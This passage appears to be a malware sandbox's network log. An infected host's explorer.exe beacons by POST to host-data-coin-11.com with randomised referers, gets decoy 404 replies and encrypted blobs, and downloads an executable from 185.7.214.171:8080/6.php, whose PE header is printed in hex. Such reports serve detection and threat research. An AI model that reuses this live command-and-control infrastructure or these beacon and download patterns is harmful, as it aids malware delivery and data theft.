00 00 40 2e 72 65 6c 6f 63 00 00 62 46 00 00 00 a0 15 00 00 48 00 00 00 a6 04 00 00 00 00 00 00 00 00 00 00 00 00 00 
40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 e0 f3 03 00 f2 f3 03 00 06 f4 03 00 1c f4 03 00 2c f4 03 00 3c f4 03 00 58 f4 03 00 70 f4 03 00 84 f4 03 00 94 f4 03
00 ae f4 03 00 c8 f4 03 00 e0 f4 03 00 f4 
Data Ascii: MZ@!L!This program cannot be run in DOS mode.$<RRRRgR])RSRRRRRichRPELV_@@t(@D.text `.dat
a@.sutala@.buve@.bobe@.rsrc"@@.relocbFH@B,<Xp

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

26 192.168.2.5 49790 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:20.959368944 CET

2138 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://ebrxyso.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 157
Host: host-data-coin-11.com

Jan 14, 2022 
12:22:21.083688021 CET

2139 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:21 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

27 192.168.2.5 49791 8.209.70.0 80 C:\Windows\explorer.exe
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Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:21.228957891 CET

2140 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://fyuylsnyhc.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 164
Host: host-data-coin-11.com

Jan 14, 2022 
12:22:21.348134041 CET

2141 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:21 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

28 192.168.2.5 49792 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:21.684987068 CET

2142 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://syadn.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 319
Host: host-data-coin-11.com

Jan 14, 2022 
12:22:21.803545952 CET

2142 IN HTTP/1.1 200 OK
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:21 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

29 192.168.2.5 49793 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:21.920921087 CET

2143 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://cuarj.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 113
Host: host-data-coin-11.com

Jan 14, 2022 
12:22:22.039764881 CET

2144 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:22 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 32 62 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 13 49 3c 5c a2 f7 d8 fc fb 46 f5 46 
86 32 ef 06 10 c2 4b e1 e1 39 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 2bI:82OI<\FF2K90

Session ID Source IP Source Port Destination IP Destination Port Process

3 192.168.2.5 49876 144.76.136.153 443 C:\Windows\explorer.exe
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Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

30 192.168.2.5 49794 185.7.214.171 8080 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:22.156344891 CET

2144 OUT GET /6.php HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: 185.7.214.171:8080

Jan 14, 2022 
12:22:22.218506098 CET

2146 IN HTTP/1.1 200 OK
Date: Fri, 14 Jan 2022 11:22:22 GMT
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16
Content-Transfer-Encoding: Binary
Content-disposition: attachment; filename="bceclnkh4cl.exe"
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: application/octet-stream
Data Raw: 34 65 32 30 30 0d 0a 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 
00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 
44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a5 fa 3c cc e1 9b 52 9f e1 9b 52 9f e1 9b 52 9f ff c9 c7 9f fb 
9b 52 9f ff c9 d1 9f 67 9b 52 9f c6 5d 29 9f e2 9b 52 9f e1 9b 53 9f 01 9b 52 9f ff c9 d6 9f db 9b 52 9f ff c9 c6 9f e0 9b 52 9f 
ff c9 c3 9f e0 9b 52 9f 52 69 63 68 e1 9b 52 9f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 
2d 90 06 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 e8 03 00 00 a8 11 00 00 00 00 00 d0 b5 01 00 00 10 00 
00 00 00 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 e0 15 00 00 04 
00 00 3a 3d 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 
00 00 00 04 e3 03 00 28 00 00 00 00 00 15 00 b8 83 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 15 00 
fc 1d 00 00 90 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 91 00 
00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 2e 74 65 78 74 00 00 00 7e e6 03 00 00 10 00 00 00 e8 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 88 c9 10 00 00 00 04 00 00 18 00 00 00 ec 03 00 00 00 00 00 00 00 00 00 
00 00 00 00 40 00 00 c0 2e 74 6f 6a 69 64 00 00 05 00 00 00 00 d0 14 00 00 02 00 00 00 04 04 00 00 00 00 00 00 00 00 
00 00 00 00 00 40 00 00 c0 2e 76 65 73 65 00 00 00 ea 00 00 00 00 e0 14 00 00 02 00 00 00 06 04 00 00 00 00 00 00 00 
00 00 00 00 00 00 40 00 00 c0 2e 66 69 6b 61 7a 61 70 93 0d 00 00 00 f0 14 00 00 0e 00 00 00 08 04 00 00 00 00 00 00 
00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b8 83 00 00 00 00 15 00 00 84 00 00 00 16 04 00 00 00 00 00 
00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 58 46 00 00 00 90 15 00 00 48 00 00 00 9a 04 00 00 00 00 
00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: 4e200MZ@!L!This program cannot be run in DOS mode.$<RRRRgR])RSRRRRRichRPEL-`@:=(@D.text~ 
`.data@.tojid@.vese@.fikazap@.rsrc@@.relocXFH@B

Session ID Source IP Source Port Destination IP Destination Port Process

31 192.168.2.5 49796 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:25.649272919 CET

2481 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://hebovqfla.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 261
Host: host-data-coin-11.com
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Jan 14, 2022 
12:22:25.771183014 CET

2482 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:25 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

32 192.168.2.5 49797 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:25.890911102 CET

2482 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://oetlnrnrjr.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 227
Host: host-data-coin-11.com

Jan 14, 2022 
12:22:26.012630939 CET

2483 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:25 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

33 192.168.2.5 49798 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:26.187320948 CET

2484 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://jfiihy.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 120
Host: host-data-coin-11.com

Jan 14, 2022 
12:22:26.314579964 CET

2485 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:26 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 36 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 84 42 09 25 16 f9 b5 8f bd b8 15 a5 0c 
ce 2c b4 59 52 db 04 e5 fd 28 e3 22 58 1b b2 ed cf 00 b4 51 da 44 d0 f8 20 8c 21 ea ad 96 56 2c e4 b4 48 2b e3 b3 b6 68 
f3 9a b9 59 a8 77 9f cb 31 41 5b 3d 03 4b de bb 4b bb ff 5b 91 ad d3 02 c4 60 9d d2 69 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 66I:82OB%,YR("XQD !V,H+hYw1A[=KK[`i0
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Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

34 192.168.2.5 49810 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:29.318615913 CET

3049 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://bsrofnrygp.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 121
Host: host-data-coin-11.com

Jan 14, 2022 
12:22:29.435081005 CET

4366 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:29 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

35 192.168.2.5 49812 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:29.498694897 CET

4671 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://xniibtkwqj.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 141
Host: host-data-coin-11.com

Jan 14, 2022 
12:22:29.623814106 CET

5150 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:29 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
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Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

36 192.168.2.5 49814 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:29.689379930 CET

6644 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://ssdnxjvnbe.org/
